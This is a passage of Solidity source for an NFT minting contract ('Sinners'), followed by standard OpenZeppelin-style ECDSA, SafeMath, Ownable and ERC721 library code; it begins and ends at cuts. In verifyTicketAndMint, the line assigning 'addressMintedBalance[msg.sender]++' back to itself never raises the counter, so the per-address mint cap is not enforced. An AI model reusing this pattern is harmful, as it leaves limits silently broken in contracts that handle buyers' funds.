require(tickets.length >= 1 && tickets.length <= maxMintAmount, "count must be larger than 0 and smaller than maximum mint amount");
for (uint i = 0; i < tickets.length; ++i) {
verifyTicketAndMint(tickets[i]);
}
}
//owner interface
function setBaseURI(string memory uri) external onlyOwner {
baseURI = uri;
}
function setTicketSignerAddress(address TicketSigner) external onlyOwner {
ticketSignerAddress = TicketSigner;
}
function setMaxsinners(uint256 max) external onlyOwner {
require(!maxsinnersFrozenForever, "maxsinners is Frozen Forever");
require(max > maxsinners, "max is must be larger than current value");
maxsinners = max;
}
function freezeMaxsinnersForever() external onlyOwner {
require(!maxsinnersFrozenForever, "Already Frozen");
maxsinnersFrozenForever = true;
}
function withdraw() external onlyOwner {
uint256 balance = address(this).balance;
payable(owner()).transfer(balance);
}
function setPublicSale(bool isOpen) external onlyOwner {
publicSale = isOpen;
}
function setPrice(uint256 newPrice) external onlyOwner() {
price = newPrice;
}
function reveal() external onlyOwner {
require(!revealed, "already revealed");
revealed = true;
emit Reveal();
}
//internal
function verifyTicketAndMint(SinnersTicket calldata ticket) private {
bytes32 ticketHash = keccak256(abi.encode(msg.sender, ticket.tokenId, ticket.expire));
bytes32 ethMsgHash = ECDSA.toEthSignedMessageHash(ticketHash);
require(ticketSignerAddress == ECDSA.recover(ethMsgHash, ticket.signature), 'Invalid SinnersTicket signature');
require(block.timestamp <= ticket.expire, "Expired SinnersTicket");
require(ticket.tokenId >= 0 && ticket.tokenId < maxsinners, "Invalid SinnersTicket tokenId");
uint256 ownerMintedCount = addressMintedBalance[msg.sender];
require(ownerMintedCount + 1 <= maxMintAmount, "max NFT per address exceeded");
addressMintedBalance[msg.sender] = addressMintedBalance[msg.sender]++;
_safeMint(msg.sender, ticket.tokenId);
if (ticket.tokenId < teamReserveCount) {
++teamReserveMinted;
}
}
function getUnmintedsinners(uint256 count) private returns (uint256[] memory) {
uint256[] memory sinners = new uint256[](count);
uint256 checked;
uint256 found;
for (uint256 id = publicSaleOffset; id < maxsinners; ++id) {
++checked;
if (!_exists(id)) {
sinners[found] = id;
++found;
if (found == count) {
break;
}
}
}
publicSaleOffset += checked;
return sinners;
}
function _baseURI() internal view override returns (string memory) {
return baseURI;
}
function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view override(IERC2981) returns (
address receiver,
uint256 royaltyAmount) {
receiver = owner();
royaltyAmount = _salePrice.mul(75).div(1000);
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Enumerable, IERC165) returns (bool) {
return interfaceId == type(IERC2981).interfaceId || super.supportsInterface(interfaceId);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Interface for the NFT Royalty Standard
*/
interface IERC2981 is IERC165 {
/**
* @dev Called with the sale price to determine how much royalty is owed and to whom.
* @param tokenId - the NFT asset queried for royalty information
* @param salePrice - the sale price of the NFT asset specified by `tokenId`
* @return receiver - address of who should be sent the royalty payment
* @return royaltyAmount - the royalty payment amount for `salePrice`
*/
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
returns (address receiver, uint256 royaltyAmount);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "./Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./IERC721Metadata.sol";
import "./Address.sol";
import "./Context.sol";
import "./Strings.sol";
import "./ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
